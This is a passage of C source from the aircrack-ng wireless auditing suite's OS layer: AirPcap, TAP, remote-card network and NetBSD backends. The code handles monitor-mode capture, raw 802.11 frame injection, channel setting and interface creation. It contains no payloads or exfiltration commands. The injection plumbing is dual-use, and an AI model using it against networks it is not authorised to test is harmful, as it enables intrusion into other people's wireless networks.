PPI_FIELD_TYPE_802_11_COMMON: if (pFieldHeader->PfhLength != sizeof(PPI_FIELD_802_11_COMMON) || caplen - position < sizeof(PPI_FIELD_802_11_COMMON)) { // the header is bogus, just skip it fprintf( stderr, "Bogus 802.11-Common Field. Skipping it.\n"); } else { PPPI_FIELD_802_11_COMMON pField = (PPPI_FIELD_802_11_COMMON)(p + position); if (pField->DbmAntSignal != -128) { *power = (int)pField->DbmAntSignal; } else { *power = 0; } } break; default: // we do not know this field. Just print type and length and skip break; } position += pFieldHeader->PfhLength; } while(TRUE); return( 0 ); } /** * Set MAC Address of the device * @param mac MAC Address * @return 0 (successful) */ int airpcap_set_mac(void *mac) { if (mac) {} return 0; } /** * Close device */ void airpcap_close(void) { // By default, when plugged in, the adapter is set in monitor mode; // Application may assume it's already in monitor mode and forget to set it // So, do not remove monitor mode. if (airpcap_handle != NULL) { AirpcapClose(airpcap_handle); airpcap_handle = NULL; } } /** * Get MAC Address of the device (not yet implemented) * @param mac It will contain the mac address * @return 0 (successful) */ int airpcap_get_mac(void *mac) { // Don't use the function from Airpcap if (mac) {} return 0; } /** * Capture one packet * @param buf Buffer for the packet * @param len Length of the buffer * @param ri Receive information * @return -1 if failure or the number of bytes received */ int airpcap_sniff(void *buf, int len, struct rx_info *ri) { // Use PPI headers to obtain the different information for ri // Use AirpcapConvertFrequencyToChannel() to get channel // Add an option to give frequency instead of channel UINT BytesReceived = 0; if (ri) {} // Wait for the next packet // Maybe add an event packets to read // WaitForSingleObject(ReadEvent, INFINITE); // Read a packet if(AirpcapRead(airpcap_handle, buf, len, &BytesReceived)) return (int)BytesReceived; return -1; } /** * Inject one packet * @param buf Buffer for the packet * @param len Length of the buffer * @param ti Transmit information * @return -1 if failure or the number of bytes sent */ int airpcap_inject(void *buf, int len, struct tx_info *ti) { if (ti) {} if (AirpcapWrite (airpcap_handle, buf, len) != 1) return -1; return len; } /** * Print the error message * @param err Contains the error message and a %s in order to show the Airpcap error * @param retValue Value returned by the function * @return retValue */ int printErrorCloseAndReturn(const char * err, int retValue) { if (err && airpcap_handle) { if (strlen(err)) { if (airpcap_handle) fprintf( stderr, err, AirpcapGetLastError(airpcap_handle)); else fprintf( stderr, err); } } airpcap_close(); return retValue; } /** * Initialize the device * @param param Parameters for the initialization * @return 0 if successful, -1 in case of failure */ int airpcap_init(char *param) { // Later: if several interfaces are given, aggregate them. char * iface; char errbuf[AIRPCAP_ERRBUF_SIZE ]; iface = (char *)calloc(1, strlen(param) + 100); if (param) { // if it's empty, use the default adapter if (strlen(param) > 0) { if (strstr(param, DEVICE_PREFIX) == NULL) { // Not found, add it strcpy(iface, DEVICE_PREFIX); strcat(iface, param); } else { // Already contains the adapter header strcpy(iface, param); } } } airpcap_handle = AirpcapOpen(iface, errbuf); if(airpcap_handle == NULL) { fprintf( stderr, "This adapter doesn't have wireless extensions. Quitting\n"); //pcap_close( winpcap_adapter ); return( -1 ); } /* Tell the adapter that the packets we'll send and receive don't include the FCS */ if(!AirpcapSetFcsPresence(airpcap_handle, FALSE)) return printErrorCloseAndReturn("Error setting FCS presence: %s\n", -1); /* Set the link layer to bare 802.11 */ if(!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11)) return printErrorCloseAndReturn("Error setting the link type: %s\n", -1); /* Accept correct frames only */ if( !AirpcapSetFcsValidation(airpcap_handle, AIRPCAP_VT_ACCEPT_CORRECT_FRAMES) ) return printErrorCloseAndReturn("Error setting FCS validation: %s\n", -1); /* Set a low mintocopy for better responsiveness */ if(!AirpcapSetMinToCopy(airpcap_handle, 1)) return printErrorCloseAndReturn("Error setting MinToCopy: %s\n", -1); return 0; } /** * Set device channel * @param chan Channel * @return 0 if successful, -1 if it failed */ int airpcap_set_chan(int chan) { // Make sure a valid channel is given if (chan <= 0) return -1; if(!AirpcapSetDeviceChannel(airpcap_handle, chan)) { printf("Error setting the channel to %d: %s\n", chan, AirpcapGetLastError(airpcap_handle)); return -1; } return 0; } #endif aircrack-ng-1.2-beta3/src/osdep/common.c0000644000000000000000000000540212153517342016570 0ustar rootroot /* * Copyright (c) 2008-2013, Thomas d'Otreppe * * Common OSdep stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "common.h" /** * Return the frequency in Mhz from a channel number */ int getFrequencyFromChannel(int channel) { static int frequencies[] = { -1, // No channel 0 2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, 2472, 2484, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // Nothing from channel 15 to 34 (exclusive) 5170, 5175, 5180, 5185, 5190, 5195, 5200, 5205, 5210, 5215, 5220, 5225, 5230, 5235, 5240, 5245, 5250, 5255, 5260, 5265, 5270, 5275, 5280, 5285, 5290, 5295, 5300, 5305, 5310, 5315, 5320, 5325, 5330, 5335, 5340, 5345, 5350, 5355, 5360, 5365, 5370, 5375, 5380, 5385, 5390, 5395, 5400, 5405, 5410, 5415, 5420, 5425, 5430, 5435, 5440, 5445, 5450, 5455, 5460, 5465, 5470, 5475, 5480, 5485, 5490, 5495, 5500, 5505, 5510, 5515, 5520, 5525, 5530, 5535, 5540, 5545, 5550, 5555, 5560, 5565, 5570, 5575, 5580, 5585, 5590, 5595, 5600, 5605, 5610, 5615, 5620, 5625, 5630, 5635, 5640, 5645, 5650, 5655, 5660, 5665, 5670, 5675, 5680, 5685, 5690, 5695, 5700, 5705, 5710, 5715, 5720, 5725, 5730, 5735, 5740, 5745, 5750, 5755, 5760, 5765, 5770, 5775, 5780, 5785, 5790, 5795, 5800, 5805, 5810, 5815, 5820, 5825, 5830, 5835, 5840, 5845, 5850, 5855, 5860, 5865, 5870, 5875, 5880, 5885, 5890, 5895, 5900, 5905, 5910, 5915, 5920, 5925, 5930, 5935, 5940, 5945, 5950, 5955, 5960, 5965, 5970, 5975, 5980, 5985, 5990, 5995, 6000, 6005, 6010, 6015, 6020, 6025, 6030, 6035, 6040, 6045, 6050, 6055, 6060, 6065, 6070, 6075, 6080, 6085, 6090, 6095, 6100 }; return (channel > 0 && channel <= 221) ? frequencies[channel] : -1; } /** * Return the channel from the frequency (in Mhz) */ int getChannelFromFrequency(int frequency) { if (frequency >= 2412 && frequency <= 2472) return (frequency - 2407) / 5; else if (frequency == 2484) return 14; else if (frequency >= 5000 && frequency <= 6100) return (frequency - 5000) / 5; else return -1; } aircrack-ng-1.2-beta3/src/osdep/freebsd_tap.c0000644000000000000000000001130410761053203017546 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for FreeBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_fbsd { int tf_fd; int tf_ioctls; struct ifreq tf_ifr; char tf_name[MAX_IFACE_NAME]; int tf_destroy; }; static int ti_do_open_fbsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_fbsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->tf_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tf_name, sizeof(priv->tf_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tf_ioctls = s; /* get flags */ ifr = &priv->tf_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tf_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = (ifr->ifr_flags & 0xffff) | (ifr->ifr_flagshigh << 16); /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; ifr->ifr_flagshigh = flags >> 16; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_fbsd *priv) { ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr); } static void ti_close_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); if (priv->tf_destroy) ti_destroy(priv); close(priv->tf_fd); close(priv->tf_ioctls); ti_do_free(ti); } static char *ti_name_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); return priv->tf_name; } static int ti_set_mtu_fbsd(struct tif *ti, int mtu) { struct tip_fbsd *priv = ti_priv(ti); priv->tf_ifr.ifr_mtu = mtu; return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr); } static int ti_set_mac_fbsd(struct tif *ti, unsigned char *mac) { struct tip_fbsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->tf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_fbsd(struct tif *ti, struct in_addr *ip) { struct tip_fbsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_fbsd(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); return priv->tf_fd; } static int ti_read_fbsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_fbsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_fbsd(char *iface) { struct tif *ti; struct tip_fbsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_fbsd; ti->ti_set_mtu = ti_set_mtu_fbsd; ti->ti_close = ti_close_fbsd; ti->ti_fd = ti_fd_fbsd; ti->ti_read = ti_read_fbsd; ti->ti_write = ti_write_fbsd; ti->ti_set_mac = ti_set_mac_fbsd; ti->ti_set_ip = ti_set_ip_fbsd; /* setup iface */ fd = ti_do_open_fbsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tf_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_fbsd(iface); } aircrack-ng-1.2-beta3/src/osdep/linux_tap.c0000644000000000000000000001130711052600530017271 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for Linux. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_linux { int tl_fd; struct ifreq tl_ifr; int tl_ioctls; char tl_name[MAX_IFACE_NAME]; }; static int ti_do_open_linux(struct tif *ti, char *name) { int fd_tap; struct ifreq if_request; struct tip_linux *priv = ti_priv(ti); fd_tap = open( name ? name : "/dev/net/tun", O_RDWR ); if(fd_tap < 0 ) { printf( "error opening tap device: %s\n", strerror( errno ) ); printf( "try \"modprobe tun\"\n"); return -1; } memset( &if_request, 0, sizeof( if_request ) ); if_request.ifr_flags = IFF_TAP | IFF_NO_PI; strncpy( if_request.ifr_name, "at%d", IFNAMSIZ ); if( ioctl( fd_tap, TUNSETIFF, (void *)&if_request ) < 0 ) { printf( "error creating tap interface: %s\n", strerror( errno ) ); close( fd_tap ); return -1; } strncpy( priv->tl_name, if_request.ifr_name, MAX_IFACE_NAME ); strncpy(priv->tl_ifr.ifr_name, priv->tl_name, sizeof(priv->tl_ifr.ifr_name) - 1); if ((priv->tl_ioctls = socket(PF_INET, SOCK_DGRAM, 0)) == -1) { priv->tl_ioctls = 0; close(fd_tap); return -1; } return fd_tap; } static void ti_do_free(struct tif *ti) { struct tip_fbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_close_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); close(priv->tl_fd); close(priv->tl_ioctls); ti_do_free(ti); } static char *ti_name_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); return priv->tl_name; } static int ti_set_mtu_linux(struct tif *ti, int mtu) { struct tip_linux *priv = ti_priv(ti); priv->tl_ifr.ifr_mtu = mtu; return ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr); } static int ti_get_mtu_linux(struct tif *ti) { int mtu; struct tip_linux *priv = ti_priv(ti); ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr); mtu = priv->tl_ifr.ifr_mtu; return mtu; } static int ti_set_mac_linux(struct tif *ti, unsigned char *mac) { struct tip_linux *priv = ti_priv(ti); memcpy(priv->tl_ifr.ifr_hwaddr.sa_data, mac, 6); priv->tl_ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; return ioctl(priv->tl_ioctls, SIOCSIFHWADDR, &priv->tl_ifr); } static int ti_set_ip_linux(struct tif *ti, struct in_addr *ip) { struct tip_linux *priv = ti_priv(ti); struct sockaddr_in *s_in; s_in = (struct sockaddr_in*) &priv->tl_ifr.ifr_addr; s_in->sin_family = AF_INET; s_in->sin_addr = *ip; return ioctl(priv->tl_ioctls, SIOCSIFADDR, &priv->tl_ifr); } static int ti_fd_linux(struct tif *ti) { struct tip_linux *priv = ti_priv(ti); return priv->tl_fd; } static int ti_read_linux(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_linux(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_linux(char *iface) { struct tif *ti; struct tip_linux *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_linux; ti->ti_set_mtu = ti_set_mtu_linux; ti->ti_get_mtu = ti_get_mtu_linux; ti->ti_close = ti_close_linux; ti->ti_fd = ti_fd_linux; ti->ti_read = ti_read_linux; ti->ti_write = ti_write_linux; ti->ti_set_mac = ti_set_mac_linux; ti->ti_set_ip = ti_set_ip_linux; /* setup iface */ fd = ti_do_open_linux(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tl_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_linux(iface); } aircrack-ng-1.2-beta3/src/osdep/network.c0000644000000000000000000002302712150237445016774 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for using card via network. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #include "network.h" #define QUEUE_MAX 666 struct queue { unsigned char q_buf[2048]; int q_len; struct queue *q_next; struct queue *q_prev; }; struct priv_net { int pn_s; struct queue pn_queue; struct queue pn_queue_free; int pn_queue_len; }; int net_send(int s, int command, void *arg, int len) { struct net_hdr *pnh; char *pktbuf; size_t pktlen; pktlen = sizeof(struct net_hdr) + len; pktbuf = (char*)calloc(sizeof(char), pktlen); if (pktbuf == NULL) { perror("calloc"); goto net_send_error; } pnh = (struct net_hdr*)pktbuf; pnh->nh_type = command; pnh->nh_len = htonl(len); memcpy(pktbuf + sizeof(struct net_hdr), arg, len); for (;;) { ssize_t rc = send(s, pktbuf, pktlen, 0); if ((size_t)rc == pktlen) break; if (rc == EAGAIN || rc == EWOULDBLOCK || rc == EINTR) continue; if (rc == ECONNRESET) printf("Connection reset while sending packet!\n"); goto net_send_error; } free(pktbuf); return 0; net_send_error: free(pktbuf); return -1; } int net_read_exact(int s, void *arg, int len) { ssize_t rc; int rlen = 0; char *buf = (char*)arg; while (rlen < len) { rc = recv(s, buf, (len - rlen), 0); if (rc < 1) { if (rc == -1 && (errno == EAGAIN || errno == EINTR)) { usleep(100); continue; } return -1; } buf += rc; rlen += rc; } return 0; } int net_get(int s, void *arg, int *len) { struct net_hdr nh; int plen; if (net_read_exact(s, &nh, sizeof(nh)) == -1) { return -1; } plen = ntohl(nh.nh_len); if (!(plen <= *len)) printf("PLEN %d type %d len %d\n", plen, nh.nh_type, *len); assert(plen <= *len); /* XXX */ *len = plen; if ((*len) && (net_read_exact(s, arg, *len) == -1)) { return -1; } return nh.nh_type; } static void queue_del(struct queue *q) { q->q_prev->q_next = q->q_next; q->q_next->q_prev = q->q_prev; } static void queue_add(struct queue *head, struct queue *q) { struct queue *pos = head->q_prev; q->q_prev = pos; q->q_next = pos->q_next; q->q_next->q_prev = q; pos->q_next = q; } #if 0 static int queue_len(struct queue *head) { struct queue *q = head->q_next; int i = 0; while (q != head) { i++; q = q->q_next; } return i; } #endif static struct queue *queue_get_slot(struct priv_net *pn) { struct queue *q = pn->pn_queue_free.q_next; if (q != &pn->pn_queue_free) { queue_del(q); return q; } if (pn->pn_queue_len++ > QUEUE_MAX) return NULL; return malloc(sizeof(*q)); } static void net_enque(struct priv_net *pn, void *buf, int len) { struct queue *q; q = queue_get_slot(pn); if (!q) return; q->q_len = len; assert((int) sizeof(q->q_buf) >= q->q_len); memcpy(q->q_buf, buf, q->q_len); queue_add(&pn->pn_queue, q); } static int net_get_nopacket(struct priv_net *pn, void *arg, int *len) { unsigned char buf[2048]; int l = sizeof(buf); int c; while (1) { l = sizeof(buf); c = net_get(pn->pn_s, buf, &l); if (c != NET_PACKET && c > 0) break; if(c > 0) net_enque(pn, buf, l); } assert(l <= *len); memcpy(arg, buf, l); *len = l; return c; } static int net_cmd(struct priv_net *pn, int command, void *arg, int alen) { uint32_t rc; int len; int cmd; if (net_send(pn->pn_s, command, arg, alen) == -1) { return -1; } len = sizeof(rc); cmd = net_get_nopacket(pn, &rc, &len); if (cmd == -1) { return -1; } assert(cmd == NET_RC); assert(len == sizeof(rc)); return ntohl(rc); } static int queue_get(struct priv_net *pn, void *buf, int len) { struct queue *head = &pn->pn_queue; struct queue *q = head->q_next; if (q == head) return 0; assert(q->q_len <= len); memcpy(buf, q->q_buf, q->q_len); queue_del(q); queue_add(&pn->pn_queue_free, q); return q->q_len; } static int net_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_net *pn = wi_priv(wi); uint32_t buf[512]; // 512 * 4 = 2048 unsigned char *bufc = (unsigned char*)buf; int cmd; int sz = sizeof(*ri); int l; int ret; /* try queue */ l = queue_get(pn, buf, sizeof(buf)); if (!l) { /* try reading form net */ l = sizeof(buf); cmd = net_get(pn->pn_s, buf, &l); if (cmd == -1) return -1; if (cmd == NET_RC) { ret = ntohl((buf[0])); return ret; } assert(cmd == NET_PACKET); } /* XXX */ if (ri) { // re-assemble 64-bit integer ri->ri_mactime = __be64_to_cpu(((uint64_t)buf[0] << 32 || buf[1] )); ri->ri_power = __be32_to_cpu(buf[2]); ri->ri_noise = __be32_to_cpu(buf[3]); ri->ri_channel = __be32_to_cpu(buf[4]); ri->ri_rate = __be32_to_cpu(buf[5]); ri->ri_antenna = __be32_to_cpu(buf[6]); } l -= sz; assert(l > 0); if (l > len) l = len; memcpy(h80211, &bufc[sz], l); return l; } static int net_get_mac(struct wif *wi, unsigned char *mac) { struct priv_net *pn = wi_priv(wi); uint32_t buf[2]; // only need 6 bytes, this provides 8 int cmd; int sz = 6; if (net_send(pn->pn_s, NET_GET_MAC, NULL, 0) == -1) return -1; cmd = net_get_nopacket(pn, buf, &sz); if (cmd == -1) return -1; if (cmd == NET_RC) return ntohl(buf[0]); assert(cmd == NET_MAC); assert(sz == 6); memcpy(mac, buf, 6); return 0; } static int net_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_net *pn = wi_priv(wi); int sz = sizeof(*ti); unsigned char buf[2048]; unsigned char *ptr = buf; /* XXX */ if (ti) memcpy(ptr, ti, sz); else memset(ptr, 0, sizeof(*ti)); ptr += sz; memcpy(ptr, h80211, len); sz += len; return net_cmd(pn, NET_WRITE, buf, sz); } static int net_set_channel(struct wif *wi, int chan) { uint32_t c = htonl(chan); return net_cmd(wi_priv(wi), NET_SET_CHAN, &c, sizeof(c)); } static int net_get_channel(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return net_cmd(pn, NET_GET_CHAN, NULL, 0); } static int net_set_rate(struct wif *wi, int rate) { uint32_t c = htonl(rate); return net_cmd(wi_priv(wi), NET_SET_RATE, &c, sizeof(c)); } static int net_get_rate(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return net_cmd(pn, NET_GET_RATE, NULL, 0); } static int net_get_monitor(struct wif *wi) { return net_cmd(wi_priv(wi), NET_GET_MONITOR, NULL, 0); } static void do_net_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void net_close(struct wif *wi) { struct priv_net *pn = wi_priv(wi); close(pn->pn_s); do_net_free(wi); } static int get_ip_port(char *iface, char *ip, const int ipsize) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, &addr)) goto out; /* XXX resolve hostname */ assert(strlen(host) <= 15); strncpy(ip, host, ipsize); port = atoi(ptr); out: free(host); return port; } static int handshake(int s) { if (s) {} /* XXX unused */ /* XXX do a handshake */ return 0; } static int do_net_open(char *iface) { int s, port; char ip[16]; struct sockaddr_in s_in; port = get_ip_port(iface, ip, sizeof(ip)-1); if (port == -1) return -1; s_in.sin_family = PF_INET; s_in.sin_port = htons(port); if (!inet_aton(ip, &s_in.sin_addr)) return -1; if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1) return -1; printf("Connecting to %s port %d...\n", ip, port); if (connect(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) { close(s); printf("Failed to connect\n"); return -1; } if (handshake(s) == -1) { close(s); printf("Failed to connect - handshake failed\n"); return -1; } printf("Connection successful\n"); return s; } static int net_fd(struct wif *wi) { struct priv_net *pn = wi_priv(wi); return pn->pn_s; } struct wif *net_open(char *iface) { struct wif *wi; struct priv_net *pn; int s; /* setup wi struct */ wi = wi_alloc(sizeof(*pn)); if (!wi) return NULL; wi->wi_read = net_read; wi->wi_write = net_write; wi->wi_set_channel = net_set_channel; wi->wi_get_channel = net_get_channel; wi->wi_set_rate = net_set_rate; wi->wi_get_rate = net_get_rate; wi->wi_close = net_close; wi->wi_fd = net_fd; wi->wi_get_mac = net_get_mac; wi->wi_get_monitor = net_get_monitor; /* setup iface */ s = do_net_open(iface); if (s == -1) { do_net_free(wi); return NULL; } /* setup private state */ pn = wi_priv(wi); pn->pn_s = s; pn->pn_queue.q_next = pn->pn_queue.q_prev = &pn->pn_queue; pn->pn_queue_free.q_next = pn->pn_queue_free.q_prev = &pn->pn_queue_free; return wi; } aircrack-ng-1.2-beta3/src/osdep/airpcap.h0000644000000000000000000000063610761053203016722 0ustar rootroot// Function to be used by cygwin void airpcap_close(void); int airpcap_get_mac(void *mac); int airpcap_set_mac(void *mac); int airpcap_sniff(void *buf, int len, struct rx_info *ri); int airpcap_inject(void *buf, int len, struct tx_info *ti); int airpcap_init(char *param); int airpcap_set_chan(int chan); int isAirpcapDevice(const char * iface); //int printErrorCloseAndReturn(const char * err, int retValue); aircrack-ng-1.2-beta3/src/osdep/netbsd.c0000644000000000000000000003016010761053203016550 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for NetBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #ifndef IEEE80211_RADIOTAP_F_FCS #define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */ #endif #ifndef IEEE80211_IOC_CHANNEL #define IEEE80211_IOC_CHANNEL 0 #endif #ifndef le32toh #define le32toh(x) htole32(x) #endif struct priv_nbsd { /* iface */ int pn_fd; /* rx */ int pn_nocrc; /* tx */ unsigned char pn_buf[4096]; unsigned char *pn_next; int pn_totlen; /* setchan */ int pn_s; struct ifreq pn_ifr; struct ieee80211chanreq pn_ireq; int pn_chan; }; static void get_radiotap_info(struct priv_nbsd *pn, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { ri->ri_channel = 1; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (pn->pn_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; pn->pn_nocrc = 1; } } static unsigned char *get_80211(struct priv_nbsd *pn, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &pn->pn_next; totlen = &pn->pn_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(pn, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int nbsd_get_channel(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); if(ioctl(pn->pn_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1; return channel.i_channel; } static int nbsd_set_channel(struct wif *wi, int chan) { struct priv_nbsd *pn = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); channel.i_channel = chan; 